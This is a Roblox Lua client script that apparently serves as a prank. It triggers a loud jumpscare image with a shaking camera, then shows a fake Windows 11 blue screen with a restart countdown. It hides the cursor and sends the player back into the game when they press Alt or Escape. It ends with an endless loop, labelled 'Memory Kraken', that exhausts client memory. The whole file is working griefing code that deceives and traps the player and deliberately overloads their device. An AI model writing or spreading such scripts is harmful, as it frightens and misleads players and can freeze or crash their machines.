local Players = game:GetService("Players") local UIS = game:GetService("UserInputService") local TP = game:GetService("TeleportService") local RS = game:GetService("RunService") local ReplicatedStorage = game:GetService("ReplicatedStorage") local SoundService = game:GetService("SoundService") local player = Players.LocalPlayer -- Replace with your uploaded asset IDs local jeffImageId = "rbxassetid://YOUR_JEFF_IMAGE_ID" local jeffSoundId = "rbxassetid://YOUR_JEFF_SOUND_ID" -- Rejoin persistence if not ReplicatedStorage:FindFirstChild("__BSOD_ACTIVE") then local tag = Instance.new("StringValue") tag.Name = "__BSOD_ACTIVE" tag.Value = "true" tag.Parent = ReplicatedStorage end -- Wait 5 seconds, then trigger jumpscare task.delay(5, function() local gui = Instance.new("ScreenGui", player:WaitForChild("PlayerGui")) gui.Name = "JeffJumpscare" gui.IgnoreGuiInset = true gui.ZIndexBehavior = Enum.ZIndexBehavior.Global gui.ResetOnSpawn = false local img = Instance.new("ImageLabel", gui) img.Image = jeffImageId img.Size = UDim2.new(1, 0, 1, 0) img.BackgroundTransparency = 1 img.ImageTransparency = 0 img.ZIndex = 999999 local sound = Instance.new("Sound", SoundService) sound.SoundId = jeffSoundId sound.Volume = 10 sound:Play() -- Shake screen local cam = workspace.CurrentCamera local originalCF = cam.CFrame local shakeTime = 1.5 local start = tick() RS:BindToRenderStep("Shake", 999, function() if tick() - start < shakeTime then local x = math.random(-2, 2) / 10 local y = math.random(-2, 2) / 10 local z = math.random(-2, 2) / 10 cam.CFrame = originalCF * CFrame.new(x, y, z) else RS:UnbindFromRenderStep("Shake") cam.CFrame = originalCF end end) -- Flash fade-out after 2 seconds task.delay(2, function() for i = 1, 20 do img.ImageTransparency = i * 0.05 task.wait(0.03) end gui:Destroy() end) end) -- Then 5 seconds later: BSOD + Memory Kraken task.delay(10, function() local gui = Instance.new("ScreenGui", player:WaitForChild("PlayerGui")) gui.Name = "Win11BSOD" gui.IgnoreGuiInset = true gui.ResetOnSpawn = false gui.ZIndexBehavior = Enum.ZIndexBehavior.Global gui.DisplayOrder = 999999 local bg = Instance.new("Frame", gui) bg.Size = UDim2.new(1, 0, 1, 0) bg.BackgroundColor3 = Color3.fromRGB(40, 102, 170) bg.ZIndex = 10 bg.BackgroundTransparency = 1 local face = Instance.new("TextLabel", bg) face.Size = UDim2.new(1, 0, 0, 150) face.Position = UDim2.new(0, 0, 0, 60) face.BackgroundTransparency = 1 face.Text = ":(" face.TextColor3 = Color3.fromRGB(255, 255, 255) face.Font = Enum.Font.SourceSans face.TextScaled = true face.ZIndex = 11 local msg = Instance.new("TextLabel", bg) msg.Size = UDim2.new(1, -120, 0, 400) msg.Position = UDim2.new(0, 60, 0, 200) msg.BackgroundTransparency = 1 msg.TextColor3 = Color3.fromRGB(255, 255, 255) msg.Font = Enum.Font.SourceSans msg.TextSize = 24 msg.TextXAlignment = Enum.TextXAlignment.Left msg.TextYAlignment = Enum.TextYAlignment.Top msg.ZIndex = 11 msg.Text = [[ Your device ran into a problem and needs to restart. We're just collecting some error info, and then we'll restart for you. Stop code: KERNEL_SECURITY_CHECK_FAILURE ]] local countdown = Instance.new("TextLabel", bg) countdown.Size = UDim2.new(1, 0, 0, 50) countdown.Position = UDim2.new(0, 0, 0, 160) countdown.BackgroundTransparency = 1 countdown.TextColor3 = Color3.fromRGB(255, 255, 255) countdown.Font = Enum.Font.SourceSans countdown.TextScaled = true countdown.ZIndex = 11 -- Fade in BSOD for i = 1, 20 do bg.BackgroundTransparency = 1 - (i * 0.05) task.wait(0.03) end UIS.ModalEnabled = true UIS.MouseIconEnabled = false RS.RenderStepped:Connect(function() bg.Size = UDim2.new(1, 0, 1, 0) end) UIS.InputBegan:Connect(function(input, processed) if processed then return end local blocked = { [Enum.KeyCode.LeftAlt] = true, [Enum.KeyCode.RightAlt] = true, [Enum.KeyCode.Escape] = true, } if blocked[input.KeyCode] then TP:Teleport(game.PlaceId, player) end end) -- Countdown task.spawn(function() for i = 15, 0, -1 do countdown.Text = "Restarting in " .. i .. " seconds..." task.wait(1) end countdown.Text = "Restarting..." end) -- 🧠 Release Memory Kraken task.wait(2) task.spawn(function() while true do local abyss = {} for i = 1, 10000 do local chunk = {} for j = 1, 30 do chunk[j] = string.rep("💀", 500) .. tostring(math.random()) .. os.clock() end abyss[i] = chunk end task.wait(0.1) end end) end)